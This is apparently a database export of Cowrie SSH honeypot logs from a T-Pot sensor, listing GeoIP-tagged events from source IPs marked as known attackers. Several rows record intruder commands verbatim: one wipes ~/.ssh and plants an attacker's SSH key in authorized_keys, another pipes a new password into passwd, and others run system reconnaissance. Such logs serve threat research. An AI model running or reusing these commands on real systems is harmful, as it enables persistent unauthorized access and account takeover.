32402	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:23.814657+03	2021-09-20 15:00:03.438716+03	{"_id": "OwYLA3wBvYTbRNuE5kqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:23.814657Z", "@timestamp": "2021-09-20T11:51:23.814Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32404	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:09.793866+03	2021-09-20 15:00:03.440718+03	{"_id": "AgYLA3wBvYTbRNuEr0ra", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6fb2f4cb76a7", "@version": "1", "duration": 2.770569324493408, "timestamp": "2021-09-20T11:51:09.793866Z", "@timestamp": "2021-09-20T11:51:09.793Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32405	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:10.194414+03	2021-09-20 15:00:03.442717+03	{"_id": "BQYLA3wBvYTbRNuEs0rD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:10.194414Z", "@timestamp": "2021-09-20T11:51:10.194Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32406	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:10.194962+03	2021-09-20 15:00:03.443717+03	{"_id": "BgYLA3wBvYTbRNuEs0rD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:10.194962Z", "@timestamp": "2021-09-20T11:51:10.194Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32407	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:51:13.379043+03	2021-09-20 15:00:03.444717+03	{"_id": "EQYLA3wBvYTbRNuEv0p9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.session.closed", "message": "Connection lost after 181 seconds", "session": "788fab6685a6", "@version": "1", "duration": 181.6467969417572, "timestamp": "2021-09-20T11:51:13.379043Z", "@timestamp": "2021-09-20T11:51:13.379Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32408	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:13.72224+03	2021-09-20 15:00:03.445718+03	{"_id": "EwYLA3wBvYTbRNuEv0p-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f289c515e8fac5ebb6c01088d1e23987762251c9f219e0551e7c73e4235ad8c0", "src_ip": "81.71.14.9", "ttylog": "log/tty/f289c515e8fac5ebb6c01088d1e23987762251c9f219e0551e7c73e4235ad8c0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f289c515e8fac5ebb6c01088d1e23987762251c9f219e0551e7c73e4235ad8c0 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5702426433563232, "duplicate": false, "timestamp": "2021-09-20T11:51:13.722240Z", "@timestamp": "2021-09-20T11:51:13.722Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32409	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:10.766742+03	2021-09-20 15:00:03.446716+03	{"_id": "BAYLA3wBvYTbRNuEs0rD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "81.71.14.9", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5724165439605713, "duplicate": true, "timestamp": "2021-09-20T11:51:10.766742Z", "@timestamp": "2021-09-20T11:51:10.766Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32410	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:11.749012+03	2021-09-20 15:00:03.447716+03	{"_id": "CQYLA3wBvYTbRNuEt0qs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "81.71.14.9", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5696771144866943, "duplicate": true, "timestamp": "2021-09-20T11:51:11.749012Z", "@timestamp": "2021-09-20T11:51:11.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32411	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:11.179957+03	2021-09-20 15:00:03.449717+03	{"_id": "CgYLA3wBvYTbRNuEt0qt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:11.179957Z", "@timestamp": "2021-09-20T11:51:11.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32412	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:12.18395+03	2021-09-20 15:00:03.451718+03	{"_id": "CwYLA3wBvYTbRNuEu0qU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:12.183950Z", "@timestamp": "2021-09-20T11:51:12.183Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32413	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:12.186103+03	2021-09-20 15:00:03.452748+03	{"_id": "DgYLA3wBvYTbRNuEu0qV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:12.186103Z", "@timestamp": "2021-09-20T11:51:12.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	\N
32414	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:12.75341+03	2021-09-20 15:00:03.453747+03	{"_id": "DwYLA3wBvYTbRNuEu0qV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "2f4d5abdc748c0eb75c99587e94a082e6615c621a37fe20bbbae0c2fb77b5721", "src_ip": "81.71.14.9", "ttylog": "log/tty/2f4d5abdc748c0eb75c99587e94a082e6615c621a37fe20bbbae0c2fb77b5721", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/2f4d5abdc748c0eb75c99587e94a082e6615c621a37fe20bbbae0c2fb77b5721 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5695469379425049, "duplicate": false, "timestamp": "2021-09-20T11:51:12.753410Z", "@timestamp": "2021-09-20T11:51:12.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32415	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:13.152624+03	2021-09-20 15:00:03.454718+03	{"_id": "EgYLA3wBvYTbRNuEv0p9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo \\"Admin@1234\\\\nYmqYERG7omUy\\\\nYmqYERG7omUy\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: echo \\"Admin@1234\\\\nYmqYERG7omUy\\\\nYmqYERG7omUy\\\\n\\"|passwd", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:13.152624Z", "@timestamp": "2021-09-20T11:51:13.152Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32416	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:18.963305+03	2021-09-20 15:00:03.456748+03	{"_id": "JwYLA3wBvYTbRNuE1kry", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:18.963305Z", "@timestamp": "2021-09-20T11:51:18.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32417	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:19.93338+03	2021-09-20 15:00:03.457748+03	{"_id": "KgYLA3wBvYTbRNuE1kry", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:19.933380Z", "@timestamp": "2021-09-20T11:51:19.933Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32418	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:19.933927+03	2021-09-20 15:00:03.458748+03	{"_id": "KwYLA3wBvYTbRNuE1kry", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:19.933927Z", "@timestamp": "2021-09-20T11:51:19.933Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32419	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:20.503335+03	2021-09-20 15:00:03.459747+03	{"_id": "LQYLA3wBvYTbRNuE2krb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "81.71.14.9", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5700387954711914, "duplicate": true, "timestamp": "2021-09-20T11:51:20.503335Z", "@timestamp": "2021-09-20T11:51:20.503Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32420	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:20.899238+03	2021-09-20 15:00:03.460746+03	{"_id": "LgYLA3wBvYTbRNuE2krb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:20.899238Z", "@timestamp": "2021-09-20T11:51:20.899Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32421	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:20.899783+03	2021-09-20 15:00:03.461748+03	{"_id": "LwYLA3wBvYTbRNuE2krb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:20.899783Z", "@timestamp": "2021-09-20T11:51:20.899Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32422	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:21.872732+03	2021-09-20 15:00:03.463748+03	{"_id": "MQYLA3wBvYTbRNuE3krD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:21.872732Z", "@timestamp": "2021-09-20T11:51:21.872Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32423	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:22.811312+03	2021-09-20 15:00:03.464747+03	{"_id": "NwYLA3wBvYTbRNuE4kqs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:22.811312Z", "@timestamp": "2021-09-20T11:51:22.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32424	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:22.81184+03	2021-09-20 15:00:03.465717+03	{"_id": "OAYLA3wBvYTbRNuE4kqs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:22.811840Z", "@timestamp": "2021-09-20T11:51:22.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
